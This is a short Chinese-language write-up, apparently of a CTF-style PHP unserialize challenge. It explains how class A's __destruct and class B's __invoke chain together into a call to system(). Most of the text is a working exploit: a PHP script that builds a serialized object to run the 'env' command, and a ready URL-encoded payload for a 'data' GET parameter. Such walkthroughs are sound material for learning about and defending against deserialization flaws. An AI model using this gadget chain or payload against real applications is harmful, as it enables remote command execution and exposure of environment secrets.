首先代码分析
class A
私有属性: private $evil 和 private $a。
析构函数 (__destruct):
- __destruct() 方法会在对象销毁时执行。
- 方法中获取 $this->a,然后调用 $s(即 $this->a)作为函数,$s 是一个回调函数,它将 $this->evil 作为参数传递给它。
class B
私有属性: private $b。
魔术方法 (__invoke):
__invoke($c) 方法使得 B 对象可以像函数一样被调用。例如,如果你有一个 B 类的对象 b,并且这个对象实现了 __invoke 方法,你可以像调用函数一样调用 b 对象:$b()。
方法中获取 $this->b,然后调用 $s(即 $this->b)作为函数,传递 $c 作为参数。
方法:
创建一个 B 对象并设置 $b 属性为 system 函数。这样当 B 对象被调用时,它会调用 system 函数。system 函数是一个 PHP 内置函数,用于执行操作系统命令,并将输出结果返回或输出到浏览器。
创建一个 A 对象,并将其 $a 属性设置为你创建的 B 对象,将 $evil 属性设置为你要执行的命令。
序列化 A 对象,并将序列化数据传递给目标脚本。
脚本:
<?php
class B {
private $b;
function __construct($callback) {
$this->b = $callback;
}
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
class A {
private $evil;
private $a;
function __construct($callback, $evil) {
$this->a = $callback;
$this->evil = $evil;
}
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
// 创建 B 对象,并设置 b 属性为 'system'
$b = new B('system');
// 创建 A 对象,并设置 a 属性为上面创建的 B 对象
$a = new A($b, 'env'); // 你可以将 'env' 替换为其他命令
// 序列化 A 对象并传递给 GET 请求
$data = urlencode(serialize($a));
echo "Serialized data: $data\n";
// 你可以将 $data 作为 GET 请求的参数来执行命令
// 例如:index.php?data=<serialized_data> class A
url?data=O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A3%3A%22env%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D